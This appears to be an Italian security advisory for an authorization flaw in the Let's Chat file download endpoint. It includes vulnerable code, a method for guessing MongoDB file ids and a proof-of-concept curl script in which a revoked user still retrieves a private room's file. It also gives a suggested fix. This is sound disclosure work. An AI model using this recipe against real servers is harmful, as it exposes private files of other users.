
Avviso di sicurezza: controlli di accesso insufficienti consentono download non autorizzati di file (Let's Chat)
ID CVE assegnato: CVE-2026-66750
GET /files/:id/:name verifica che il chiamante abbia effettuato l'accesso e poi serve il file. Non verifica mai se il chiamante è autorizzato a vedere la stanza a cui il file appartiene.
Qualsiasi account può quindi leggere gli allegati da stanze private e protette da password di cui non è membro, e gli utenti il cui accesso a una stanza è stato revocato mantengono link di download funzionanti per ogni file caricato mentre avevano accesso.
L'endpoint di elenco file nello stesso controller verifica l'appartenenza, cosa che manca all'endpoint di download.
URL del repository: https://github.com/sdelements/lets-chat
Vulnerabile dalla 0.3.0 (commit 55e8833, 24 gen 2015, "Files backend") fino alla 0.4.8, la release finale. Non esiste una versione corretta.
Le stanze private e protette da password sono arrivate nella 0.4.0, quindi il confine di riservatezza che questa vulnerabilità oltrepassa esiste dalla 0.4.0 in poi.
Richiede files.enable: true, che è disattivato in defaults.yml ma attivo in molte implementazioni, poiché la condivisione di file è una funzionalità documentata.
Confermato sulla 0.4.8 al commit 617207f, e su docker.io/sdelements/lets-chat:latest (0.4.7).
CWE-639: Bypass dell'autorizzazione tramite chiave controllata dall'utente. Anche CWE-862, Autorizzazione mancante.
Punteggio base CVSS 4.0: 5.3 (Medio)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
L'attaccante ha bisogno di un normale account utente, accesso di rete alla porta HTTP e dell'ObjectId di un file. La registrazione autonoma è abilitata di default.
In pratica, l'id non è un segreto. Chiunque sia mai stato membro della stanza lo possiede già, perché sia files:list sia il messaggio upload://files/<id>/<name> pubblicato al caricamento lo forniscono. La rimozione dell'accesso non lo invalida e non c'è scadenza né firma sull'URL.
Per un attaccante senza precedenti nella stanza bersaglio, l'id va indovinato. È un ObjectId MongoDB, non un UUID, e ben poco di esso è imprevedibile:
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3 byte counter, increments by one per document
| | +--------- 2 byte process id
| +--------------- 3 byte machine id, fixed for the life of the process
+----------------------- 4 byte Unix timestamp, one second resolution
Tutto tranne il contatore è costante per l'intera vita del processo server, e il contatore è un'unica sequenza condivisa da ogni collezione. Un attaccante che carica un proprio file apprende quindi l'id macchina, l'id di processo e la posizione corrente del contatore, e ogni file caricato da chiunque altro si trova a breve distanza in quella sequenza. Otto caricamenti consecutivi su sdelements/lets-chat:latest:
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
La route di download applica requireLogin e nient'altro.
app/controllers/files.js:59-92:
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// Error
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
file.room viene caricato e poi mai consultato.
Il percorso di elenco nella stessa funzionalità verifica invece l'appartenenza.
app/core/files.js:156-175:
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
L'applicazione ha quindi già il controllo di cui ha bisogno (Room.canJoin, definito in app/models/room.js:130); la route di download semplicemente non lo chiama.
Richiede files.enable: true e rooms.private: true (LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>
# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
Lo stesso risultato vale per un account che non è mai stato membro della stanza, dato l'id del file.
Gli allegati nelle stanze private e protette da password sono leggibili da qualsiasi account sul server che possieda o possa derivare l'id del file. Rimuovere qualcuno da una stanza privata, o cambiare la password di una stanza, non interrompe il suo accesso ai file già caricati, e nemmeno l'archiviazione della stanza lo fa.
Caricare la stanza e riutilizzare il controllo che files:list già esegue. In app/controllers/files.js:62, dopo il controllo if (!file):
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// existing sendFile / redirect logic
});
});
Restituire 404 piuttosto che 403 per un id non autorizzato evita di confermare che il file esista.